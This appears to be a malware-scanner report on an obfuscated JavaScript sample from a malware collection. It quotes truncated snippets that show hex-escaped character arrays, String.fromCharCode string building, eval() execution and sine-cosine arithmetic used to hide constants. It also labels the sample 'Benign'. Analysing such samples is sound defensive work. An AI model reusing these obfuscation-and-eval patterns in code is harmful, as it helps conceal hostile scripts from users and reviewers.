Benign javascript-malware-collection Download

20151214_48372cb2f4a5f96018ccd87958001d68.js

Numeric trig-round obfuscation expressionNumeric sine-square obfuscation expression

SHA-2567d95fee6ccb638f739de989bbdbb5ad0a16d5537062686d859c2620ea1478eb8

Evidence

JavaScript contains a long minified line lines 1–2

1var z=new Array();
2U(z,"\x4e");U(z,"\x3a");U(z,"\x7b");U(z,"\x30");U(z,"\x24");U(z,"\x6c");U(z,"\x38");U(z,"\x34");U(z,"\x2e");U(z,"\x50");U(z,"\x31");U(z,"\x4c");U(z,"\x58");U(z,"\x4a");U(z,"\x6c");U(z,"\x4f");U(z,"\x75");U(z,"\x6d");U(z,"\x4b");U(z,"\x3c");U(z,"\x3b");U(z,"\x2c");U(z,"\x57");U(z,"\x7a");U(z,"\x54");U(z,"\x20");U(z,"\x6e");U(z,"\x6d");U(z,"\x34");U(z,"\x20");U(z,"\x58");U(z,"\x4d");U(z,"\x35");U(z,"\x68");U(z,"\x63");U(z,"\x4d");U(z,"\x6f");U(z,"\x63");U(z,"\x6a");U(z,"\x52");U(z,"\x5e");U(z,"\x5a");U(z,"\x59");U(z,"\x5f");U(z,"\x36");U(z,"\x38");U(z,"\x6f");U(z,"\x43");U(z,"\x69");U(z,"\x67");U(z,"\x3 …

Builds characters with String.fromCharCode line 4

4:248… 41],z[42],z[43],z[44],z[45],z[46],z[47],z[48],z[49],z[50],z[51],String.fromCharCode(10),z[52],z[53],z[54],z[55],z[56],z[57],z[58],z[59],z[60],z[61],z[62],z[63],String.fromCharCode(13),z[64],z[65],z[66],z[67],z[6 …

Executes JavaScript dynamically with eval() lines 4–8

4:5020… ],z[718],z[719],z[720],z[721],z[722],z[723],z[724],z[725],z[726],z[727],z[728],z[729]];
5function U(EYuyECKvJtNX,QZfeQgdEfWgmmT){EYuyECKvJtNX.push(QZfeQgdEfWgmmT);}function m8(bkSopvcsbBTmCBuP){if(FBknWqv(bkSopvcsbBTmCBuP)) {return (String.fromCharCode(bkSopvcsbBTmCBuP) + String.fromCharCode((30189+516)/445));}}
6function ZcKYM(YzFntcWxfpb,zTKPLRpQwwBte,VSpPBWjH){lIyM=parseInt(YzFntcWxfpb,zTKPLRpQwwBte);gpJDG=lIyM.toString(VSpPBWjH);return gpJDG;}function QvprzvaFKxTvBUW(IiSZxuynFLIxYZook,UiStBWWXGIYnSMMLGSdiiUgJzwBSjJtOlC,lbVzjlNvvWgOabqjCVFUzNBtvaWHeAuFQQh){eval(IiSZxuynFLIxYZook)}
7function QvprzvaFKxTvBUW(IiSZxuynFLIxYZook){eval(IiSZxuynFLIxYZook)}
8function dGqxaDHyNCwKxvwuMuRcZMGnPzANNrHxEsfdLHISteLyN …

Numeric sine-square obfuscation expression lines 13–15

13:13… ,M];
14var REmnFUqUn=[];
15function HpDDoGXusZdfyuCrb(zNVrJ){YYELYvejzjc= z[1804];for(kCBAnQLjDrY=Math.round((Math.pow(Math.sin(847), 2) + Math.pow(Math.cos(847), 2) - 1)); kCBAnQLjDrY < (1020+336)/678; kCBAnQLjDrY++) {REmnFUqUn[kCBAnQLjDrY]=Math.round((Math.pow(Math.sin(816), 2) + Math.pow(Math.cos(816), 2) - 1)); while(true) { if(REmnFUqUn[kCBAnQLjDrY] > zNVrJ[kCBAnQLjDrY].length-(-258+525)/267) { break; } if (FBknWqv(ZcKYM(zNVrJ[kCBAnQLjDrY] …